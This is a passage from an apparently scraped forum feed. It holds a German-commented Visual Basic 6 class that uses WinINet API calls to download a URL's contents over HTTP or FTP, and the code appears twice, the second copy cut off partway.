&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;InternetCanonicalizeUrl URL, URL, lpBuffer, &amp;H10<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;URL = Left&#36;(URL, lpBuffer)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;hRemoteFile = InternetOpenUrl(hInternetSession, URL, vbNullString, 0, INTERNET_FLAG_EXISTING_CONNECT, 0)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;InternetQueryDataAvailable hRemoteFile, mToCopy, 0, 0<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;If mToCopy = 0 Then bBusy = False: Exit Function<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Do<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ReDim m_ByteArray(mToCopy - 1)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Result = InternetReadFile(hRemoteFile, m_ByteArray(0), mToCopy, mRead)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mBuffer = mBuffer &amp; StrConv(m_ByteArray, vbUnicode)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;InternetQueryDataAvailable hRemoteFile, mToCopy, 0, 0<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Loop Until mToCopy = 0 Or bCancel<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;InternetCloseHandle hRemoteFile<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Disconnect<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;If DataType = icString Then<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;OpenURL = mBuffer<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Else<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;m_ByteArray = StrConv(mBuffer, vbFromUnicode)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;OpenURL = m_ByteArray<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;End If<br />
&nbsp;&nbsp;&nbsp;&nbsp;End If<br />
&nbsp;&nbsp;&nbsp;&nbsp;bBusy = False<br />
End Function<br />
<br />
'-----------------------------------------------------------<br />
' SUB: Connect<br />
'<br />
' Baut eine Verbindung zum Internet auf<br />
'-----------------------------------------------------------<br />
Public Function Connect() As Boolean<br />
&nbsp;&nbsp;&nbsp;&nbsp;bCancel = False<br />
&nbsp;&nbsp;&nbsp;&nbsp;hInternetSession = InternetOpen(App.EXEName, AccessType, Proxy, vbNullString, 0)<br />
&nbsp;&nbsp;&nbsp;&nbsp;If (hInternetSession = 0) Then Exit Function<br />
&nbsp;&nbsp;&nbsp;&nbsp;Connect = True<br />
&nbsp;&nbsp;&nbsp;&nbsp;If Protocol = icFTP Then<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;hFTPSession = InternetConnect(hInternetSession, RemoteHost, RemotePort, UserName, Password, INTERNET_SERVICE_FTP, 0, 0)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;If hFTPSession = 0 Then Connect = False<br />
&nbsp;&nbsp;&nbsp;&nbsp;End If<br />
End Function<br />
<br />
'-----------------------------------------------------------<br />
' SUB: Disconnect<br />
'<br />
' Trennt die Verbindung<br />
'-----------------------------------------------------------<br />
Public Sub Disconnect()<br />
&nbsp;&nbsp;&nbsp;&nbsp;InternetCloseHandle hFTPSession<br />
&nbsp;&nbsp;&nbsp;&nbsp;InternetCloseHandle hInternetSession<br />
End Sub<br />
<br />
'-----------------------------------------------------------<br />
' PROPERTY GET: hInternet<br />
'<br />
' Gibt das Handle der aktuellen Verbindung zurück<br />
'-----------------------------------------------------------<br />
Public Property Get hInternet() As Long<br />
&nbsp;&nbsp;&nbsp;&nbsp;hInternet = hInternetSession<br />
End Property<br />
<br />
'-----------------------------------------------------------<br />
' PROPERTY GET: Object<br />
'<br />
' Gibt die eigene Instanz zurück<br />
'-----------------------------------------------------------<br />
Public Property Get Object() As Object<br />
&nbsp;&nbsp;&nbsp;&nbsp;Set Object = Me<br />
End Property<br />
<br />
Private Sub Class_Initialize()<br />
&nbsp;&nbsp;&nbsp;&nbsp;AccessType = icDirect<br />
&nbsp;&nbsp;&nbsp;&nbsp;Protocol = icHTTP<br />
&nbsp;&nbsp;&nbsp;&nbsp;Proxy = vbNullString<br />
End Sub<br />
<br />
Private Function GetProtocolStr() As String<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Select Case Protocol<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Case icFTP<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;GetProtocolStr = "ftp://"<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Case icHTTP<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;GetProtocolStr = "http://"<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Case icHTTPS<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;GetProtocolStr = "https://"<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Case icDefault<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;GetProtocolStr = "http://"<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;End Select<br />
End Function<br />
<br />
Private Sub GetStatus()<br />
&nbsp;&nbsp;&nbsp;&nbsp;Dim l As Long<br />
&nbsp;&nbsp;&nbsp;&nbsp;InternetGetLastResponseInfo lResponseCode, vbNullString, l<br />
&nbsp;&nbsp;&nbsp;&nbsp;If CBool(lResponseCode) Then<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sResponseInfo = String&#36;(l + 1, 0)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;InternetGetLastResponseInfo lResponseCode, sResponseInfo, l<br />
&nbsp;&nbsp;&nbsp;&nbsp;End If<br />
End Sub<br />
<br />
'-----------------------------------------------------------<br />
' PROPERTY GET: ResponseInfo<br />
'<br />
' Gibt die ResponseInfo der letzten Aktion zurück<br />
'-----------------------------------------------------------<br />
Public Property Get ResponseInfo() As String<br />
&nbsp;&nbsp;&nbsp;&nbsp;GetStatus<br />
&nbsp;&nbsp;&nbsp;&nbsp;ResponseInfo = sResponseInfo<br />
End Property<br />
<br />
'-----------------------------------------------------------<br />
' PROPERTY GET: ResponseCode<br />
'<br />
' Gibt den ResponseCode der letzten Aktion zurück<br />
'-----------------------------------------------------------<br />
Public Property Get ResponseCode() As Long<br />
&nbsp;&nbsp;&nbsp;&nbsp;GetStatus<br />
&nbsp;&nbsp;&nbsp;&nbsp;ResponseCode = lResponseCode<br />
End Property<br />
<br />
'-----------------------------------------------------------<br />
' PROPERTY GET: StillExecuting<br />
'<br />
' Gibt True zurück, wenn das Control beschäftigt ist<br />
'-----------------------------------------------------------<br />
Public Property Get StillExecuting() As Boolean<br />
&nbsp;&nbsp;&nbsp;&nbsp;StillExecuting = bBusy<br />
End Property<br />
<br />
'-----------------------------------------------------------<br />
' PROPERTY LET: Protocol<br />
'<br />
' Legt das zu verwendene Protokoll fest<br />
'-----------------------------------------------------------<br />
Public Property Let Protocol(mProtocol As icProtocols)<br />
&nbsp;&nbsp;&nbsp;&nbsp;eProtocol = mProtocol<br />
&nbsp;&nbsp;&nbsp;&nbsp;Select Case eProtocol<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Case icHTTP<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;RemotePort = 80<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Case icFTP<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;RemotePort = 21<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Case icUnknown<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;RemotePort = INTERNET_INVALID_PORT_NUMBER<br />
&nbsp;&nbsp;&nbsp;&nbsp;End Select<br />
End Property<br />
<br />
'-----------------------------------------------------------<br />
' PROPERTY GET: Protocol<br />
'<br />
' Gibt das verwendete Protokoll zurück<br />
'-----------------------------------------------------------<br />
Public Property Get Protocol() As icProtocols<br />
&nbsp;&nbsp;&nbsp;&nbsp;Protocol = eProtocol<br />
End Property<br />
<br />
'-----------------------------------------------------------<br />
' PROPERTY GET: RemoteHost<br />
'<br />
' Gibt den aktuellen RemoteHost zurück<br />
'-----------------------------------------------------------<br />
Property Get RemoteHost() As String<br />
&nbsp;&nbsp;&nbsp;&nbsp;RemoteHost = sRemoteHost<br />
End Property<br />
<br />
'-----------------------------------------------------------<br />
' PROPERTY LET: RemoteHost<br />
'<br />
' Legt den RemoteHost fest<br />
'-----------------------------------------------------------<br />
Property Let RemoteHost(mRemoteHost As String)<br />
&nbsp;&nbsp;&nbsp;&nbsp;Dim uC As URL_COMPONENTS<br />
&nbsp;&nbsp;&nbsp;&nbsp;sRemoteHost = mRemoteHost<br />
&nbsp;&nbsp;&nbsp;&nbsp;uC.lpszHostName = Space&#36;(255)<br />
&nbsp;&nbsp;&nbsp;&nbsp;uC.dwHostNameLength = 255<br />
&nbsp;&nbsp;&nbsp;&nbsp;uC.dwStructSize = LenB(uC)<br />
&nbsp;&nbsp;&nbsp;&nbsp;InternetCrackUrl URL, 0, ICU_DECODE, uC<br />
&nbsp;&nbsp;&nbsp;&nbsp;If Trim&#36;(uC.lpszHostName) &lt;&gt; sRemoteHost Then<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;URL = sRemoteHost<br />
&nbsp;&nbsp;&nbsp;&nbsp;End If<br />
End Property<br />
<br />
'-----------------------------------------------------------<br />
' PROPERTY GET: URL<br />
'<br />
' Gibt die aktuelle URL zurück<br />
'-----------------------------------------------------------<br />
Property Get URL() As String<br />
&nbsp;&nbsp;&nbsp;&nbsp;URL = sURL<br />
End Property<br />
<br />
'-----------------------------------------------------------<br />
' PROPERTY LET: URL<br />
'<br />
' Legt die URL fest<br />
'-----------------------------------------------------------<br />
Property Let URL(mUrl As String)<br />
&nbsp;&nbsp;&nbsp;&nbsp;Dim uC As URL_COMPONENTS<br />
&nbsp;&nbsp;&nbsp;&nbsp;Dim tURL As String<br />
&nbsp;&nbsp;&nbsp;&nbsp;Password = "": UserName = ""<br />
&nbsp;&nbsp;&nbsp;&nbsp;sURL = mUrl<br />
&nbsp;&nbsp;&nbsp;&nbsp;tURL = sURL<br />
&nbsp;&nbsp;&nbsp;&nbsp;If InStr(tURL, "://") &lt; 1 Then tURL = GetProtocolStr &amp; tURL<br />
&nbsp;&nbsp;&nbsp;&nbsp;uC.lpszHostName = Space&#36;(255)<br />
&nbsp;&nbsp;&nbsp;&nbsp;uC.dwHostNameLength = 255<br />
&nbsp;&nbsp;&nbsp;&nbsp;uC.dwStructSize = LenB(uC)<br />
&nbsp;&nbsp;&nbsp;&nbsp;InternetCrackUrl tURL, 0, ICU_DECODE, uC<br />
&nbsp;&nbsp;&nbsp;&nbsp;If Trim&#36;(uC.lpszHostName) &lt;&gt; sRemoteHost Then<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sRemoteHost = Trim&#36;(uC.lpszHostName)<br />
&nbsp;&nbsp;&nbsp;&nbsp;End If<br />
End Property<br />
<br />
Public Sub Cancel()<br />
&nbsp;&nbsp;&nbsp;&nbsp;Disconnect<br />
&nbsp;&nbsp;&nbsp;&nbsp;bCancel = True<br />
End Sub</code></div></div>
]]></description>
			<content:encoded><![CDATA[<div class="codeblock">
<div class="title">Code:<br />
</div><div class="body" dir="ltr"><code>Option Explicit<br />
<br />
Private Const INTERNET_OPEN_TYPE_PRECONFIG As Long = 0<br />
Private Const INTERNET_OPEN_TYPE_DIRECT As Long = 1<br />
Private Const INTERNET_OPEN_TYPE_PROXY As Long = 3<br />
Private Const INTERNET_FLAG_EXISTING_CONNECT = &amp;H20000000<br />
Private Const INTERNET_INVALID_PORT_NUMBER = 0<br />
Private Const INTERNET_SERVICE_FTP = 1<br />
<br />
Private Const FTP_TRANSFER_TYPE_BINARY = &amp;H0<br />
<br />
Private Const ICU_DECODE As Long = &amp;H10000000<br />
<br />
Private Const GENERIC_READ As Long = &amp;H80000000<br />
<br />
<br />
Public Enum icDataTypes<br />
&nbsp;&nbsp;&nbsp;&nbsp;icString = 0<br />
&nbsp;&nbsp;&nbsp;&nbsp;icByteArray = 1<br />
End Enum<br />
<br />
Public Enum icAccessTypes<br />
&nbsp;&nbsp;&nbsp;&nbsp;icDirect = INTERNET_OPEN_TYPE_DIRECT<br />
&nbsp;&nbsp;&nbsp;&nbsp;icNamedProxy = INTERNET_OPEN_TYPE_PROXY<br />
&nbsp;&nbsp;&nbsp;&nbsp;icUseDefault = INTERNET_OPEN_TYPE_PRECONFIG<br />
End Enum<br />
<br />
Public Enum icProtocols<br />
&nbsp;&nbsp;&nbsp;&nbsp;icUnknown = 0<br />
&nbsp;&nbsp;&nbsp;&nbsp;icDefault = 1<br />
&nbsp;&nbsp;&nbsp;&nbsp;icFTP = 2<br />
&nbsp;&nbsp;&nbsp;&nbsp;icReserved = 3<br />
&nbsp;&nbsp;&nbsp;&nbsp;icHTTP = 4<br />
&nbsp;&nbsp;&nbsp;&nbsp;icHTTPS = 5<br />
End Enum<br />
<br />
Private Type URL_COMPONENTS<br />
&nbsp;&nbsp;&nbsp;&nbsp;dwStructSize As Long<br />
&nbsp;&nbsp;&nbsp;&nbsp;lpszScheme As String<br />
&nbsp;&nbsp;&nbsp;&nbsp;dwSchemeLength As Long<br />
&nbsp;&nbsp;&nbsp;&nbsp;nScheme As Long<br />
&nbsp;&nbsp;&nbsp;&nbsp;lpszHostName As String<br />
&nbsp;&nbsp;&nbsp;&nbsp;dwHostNameLength As Long<br />
&nbsp;&nbsp;&nbsp;&nbsp;nPort As Long<br />
&nbsp;&nbsp;&nbsp;&nbsp;lpszUserName As String<br />
&nbsp;&nbsp;&nbsp;&nbsp;dwUserNameLength As Long<br />
&nbsp;&nbsp;&nbsp;&nbsp;lpszPassword As String<br />
&nbsp;&nbsp;&nbsp;&nbsp;dwPasswordLength As Long<br />
&nbsp;&nbsp;&nbsp;&nbsp;lpszUrlPath As String<br />
&nbsp;&nbsp;&nbsp;&nbsp;dwUrlPathLength As Long<br />
&nbsp;&nbsp;&nbsp;&nbsp;lpszExtraInfo As String<br />
&nbsp;&nbsp;&nbsp;&nbsp;dwExtraInfoLength As Long<br />
End Type<br />
<br />
Private Declare Sub InternetCanonicalizeUrl Lib "wininet.dll" Alias "InternetCanonicalizeUrlA" (ByVal lpszUrl As String, ByVal lpszBuffer As String, ByRef lpdwBufferLength As Long, ByVal dwFlags As Long)<br />
Private Declare Function InternetOpenUrl Lib "wininet.dll" Alias "InternetOpenUrlA" (ByVal hInternet As Long, ByVal lpszUrl As String, ByVal lpszHeaders As String, ByVal dwHeadersLength As Long, ByVal dwFlags As Long, ByRef dwContext As Long) As Long<br />
Private Declare Function InternetQueryDataAvailable Lib "wininet.dll" (ByVal hFile As Long, ByRef lpdwNumberOfBytesAvailable As Long, ByVal dwFlags As Long, ByVal dwContext As Long) As Boolean<br />
Private Declare Function InternetReadFile Lib "wininet.dll" (ByVal hFile As Long, lpBuffer As Byte, ByVal dwNumberOfBytesToRead As Long, ByRef lpdwNumberOfBytesRead As Long) As Integer<br />
Private Declare Function InternetCloseHandle Lib "wininet.dll" (ByVal hInternet As Long) As Integer<br />
Private Declare Function InternetOpen Lib "wininet.dll" Alias "InternetOpenA" (ByVal lpszAgent As String, ByVal dwAccessType As Long, ByVal lpszProxy As String, ByVal lpszProxyBypass As String, ByVal dwFlags As Long) As Long<br />
Private Declare Function InternetGetLastResponseInfo Lib "wininet.dll" Alias "InternetGetLastResponseInfoA" (lpdwError As Long, ByVal lpszBuffer As String, lpdwBufferLength As Long) As Long<br />
Private Declare Function InternetCrackUrl Lib "wininet.dll" Alias "InternetCrackUrlA" (ByVal lpszUrl As String, ByVal dwUrlLength As Long, ByVal dwFlags As Long, ByRef lpUrlComponents As URL_COMPONENTS) As Boolean<br />
Private Declare Function InternetConnect Lib "wininet.dll" Alias "InternetConnectA" (ByVal hInternetSession As Long, ByVal sServerName As String, ByVal nServerPort As Integer, ByVal sUsername As String, ByVal sPassword As String, ByVal lService As Long, ByVal lFlags As Long, ByVal lContext As Long) As Long<br />
Private Declare Function FtpOpenFile Lib "wininet.dll" Alias "FtpOpenFileA" (ByVal hFTPSession As Long, ByVal sBuff As String, ByVal Access As Long, ByVal Flags As Long, ByVal Context As Long) As Long<br />
Private Declare Function DeleteUrlCacheEntry Lib "wininet.dll" Alias "DeleteUrlCacheEntryA" (ByVal lpszUrlName As String) As Long<br />
<br />
Private hInternetSession As Long<br />
Private hFTPSession As Long<br />
Private lResponseCode As Long<br />
Private sResponseInfo As String<br />
Private bBusy As Boolean<br />
Private eProtocol As icProtocols<br />
Private sRemoteHost As String<br />
Private sURL As String<br />
Private bCancel As Boolean<br />
Private hRemoteFile As Long<br />
<br />
Public AccessType As icAccessTypes<br />
Public Proxy As String<br />
Public UserName As String<br />
Public Password As String<br />
Public Tag As String<br />
Public RemotePort As Long<br />
<br />
Public Event StateChanged(ByVal State As Integer)<br />
<br />
'-----------------------------------------------------------<br />
' FUNCTION: OpenURL<br />
'<br />
' Gibt den Inhalt der angebenen URL zurück<br />
'-----------------------------------------------------------<br />
Public Function OpenURL(sURL As String, DataType As icDataTypes) As Variant<br />
&nbsp;&nbsp;&nbsp;&nbsp;Dim hRemoteFile As Long<br />
&nbsp;&nbsp;&nbsp;&nbsp;Dim Result As Long, mBuffer As String<br />
&nbsp;&nbsp;&nbsp;&nbsp;Dim mRead As Long<br />
&nbsp;&nbsp;&nbsp;&nbsp;Dim lpBuffer As Long<br />
&nbsp;&nbsp;&nbsp;&nbsp;Dim m_ByteArray() As Byte<br />
&nbsp;&nbsp;&nbsp;&nbsp;Dim mToCopy As Long<br />
&nbsp;&nbsp;&nbsp;&nbsp;bBusy = True<br />
&nbsp;&nbsp;&nbsp;&nbsp;If sURL &lt;&gt; "" Then URL = sURL<br />
&nbsp;&nbsp;&nbsp;&nbsp;If Connect Then<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;lpBuffer = Len(URL)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;If InStr(URL, "://") &lt; 1 Then URL = GetProtocolStr &amp; URL<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; DeleteUrlCacheEntry URL<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;InternetCanonicalizeUrl URL, URL, lpBuffer, &amp;H10<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;URL = Left&#36;(URL, lpBuffer)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;hRemoteFile = InternetOpenUrl(hInternetSession, URL, vbNullString, 0, INTERNET_FLAG_EXISTING_CONNECT, 0)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;InternetQueryDataAvailable hRemoteFile, mToCopy, 0, 0<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;If mToCopy = 0 Then bBusy = False: Exit Function<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Do<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ReDim m_ByteArray(mToCopy - 1)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Result = InternetReadFile(hRemoteFile, m_ByteArray(0), mToCopy, mRead)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mBuffer = mBuffer &amp; StrConv(m_ByteArray, vbUnicode)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;InternetQueryDataAvailable hRemoteFile, mToCopy, 0, 0<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Loop Until mToCopy = 0 Or bCancel<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;InternetCloseHandle hRemoteFile<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Disconnect<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;If DataType = icString Then<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;OpenURL = mBuffer<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Else<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;m_ByteArray = StrConv(mBuffer, vbFromUnicode)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;OpenURL = m_ByteArray<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;End If<br />
&nbsp;&nbsp;&nbsp;&nbsp;End If<br />
&nbsp;&nbsp;&nbsp;&nbsp;bBusy = False<br />
End Function<br />
<br />
'-----------------------------------------------------------<br />
' SUB: Connect<br />
'<br />
' Baut eine Verbindung zum Internet auf<br />
'-----------------------------------------------------------<br />
Public Function Connect() As Boolean<br />
&nbsp;&nbsp;&nbsp;&nbsp;bCancel = False<br />
&nbsp;&nbsp;&nbsp;&nbsp;hInternetSession = InternetOpen(App.EXEName, AccessType, Proxy, vbNullString, 0)<br />
&nbsp;&nbsp;&nbsp;&nbsp;If (hInternetSession = 0) Then Exit Function<br />
&nbsp;&nbsp;&nbsp;&nbsp;Connect = True<br />
&nbsp;&nbsp;&nbsp;&nbsp;If Protocol = icFTP Then<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;hFTPSession = InternetConnect(hInternetSession, RemoteHost, RemotePort, UserName, Password, INTERNET_SERVICE_FTP, 0, 0)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;If hFTPSession = 0 Then Connect = False<br />
&nbsp;&nbsp;&nbsp;&nbsp;End If<br />
End Function<br />
<br />
'-----------------------------------------------------------<br />
' SUB: Disconnect<br />
'<br />
' Trennt die Verbindung<br />
'-----------------------------------------------------------<br />
Public Sub Disconnect()<br />
&nbsp;&nbsp;&nbsp;&nbsp;InternetCloseHandle hFTPSession<br />
&nbsp;&nbsp;&nbsp;&nbsp;InternetCloseHandle hInternetSession<br />
End Sub<br />
<br />
'-----------------------------------------------------------<br />
' PROPERTY GET: hInternet<br />
'<br />
' Gibt das Handle der aktuellen Verbindung zurück<br />
'-----------------------------------------------------------<br />
Public Property Get hInternet() As Long<br />
&nbsp;&nbsp;&nbsp;&nbsp;hInternet = hInternetSession<br />
End Property<br />
<br />
'-----------------------------------------------------------<br />
' PROPERTY GET: Object<br />
'<br />
' Gibt die eigene Instanz zurück<br />
'-----------------------------------------------------------<br />
Public Property Get Object() As Object<br />
&nbsp;&nbsp;&nbsp;&nbsp;Set Object = Me<br />
End Property<br />
<br />
Private Sub Class_Initialize()<br />
&nbsp;&nbsp;&nbsp;&nbsp;AccessType = icDirect<br />
&nbsp;&nbsp;&nbsp;&nbsp;Protocol = icHTTP<br />
&nbsp;&nbsp;&nbsp;&nbsp;Proxy = vbNullString<br />
End Sub<br />
<br />
Private Function GetProtocolStr() As String<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Select Case Protocol<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Case icFTP<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;GetProtocolStr = "ftp://"<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Case icHTTP<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;GetProtocolStr = "http://"<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Case icHTTPS<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;GetProtocolStr = "https://"<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Case icDefault<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;GetProtocolStr = "http://"<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;End Select<br />
End Function<br />
<br />
Private Sub GetStatus()<br />
&nbsp;&nbsp;&nbsp;&nbsp;Dim l As Long<br />
&nbsp;&nbsp;&nbsp;&nbsp;InternetGetLastResponseInfo lResponseCode, vbNullString, l<br />
&nbsp;&nbsp;&nbsp;&nbsp;If CBool(lResponseCode) Then<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sResponseInfo = String&#36;(l + 1, 0)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;InternetGetLastResponseInfo lResponseCode, sResponseInfo, l<br />
&nbsp;&nbsp;&nbsp;&nbsp;End If<br />
End Sub<br />
<br />
'-----------------------------------------------------------<br />
' PROPERTY GET: ResponseInfo<br />
'<br />
' Gibt die ResponseInfo der letzten Aktion zurück<br />
'-----------------------------------------------------------<br />
Public Property Get ResponseInfo() As String<br />
&nbsp;&nbsp;&nbsp;&nbsp;GetStatus<br />
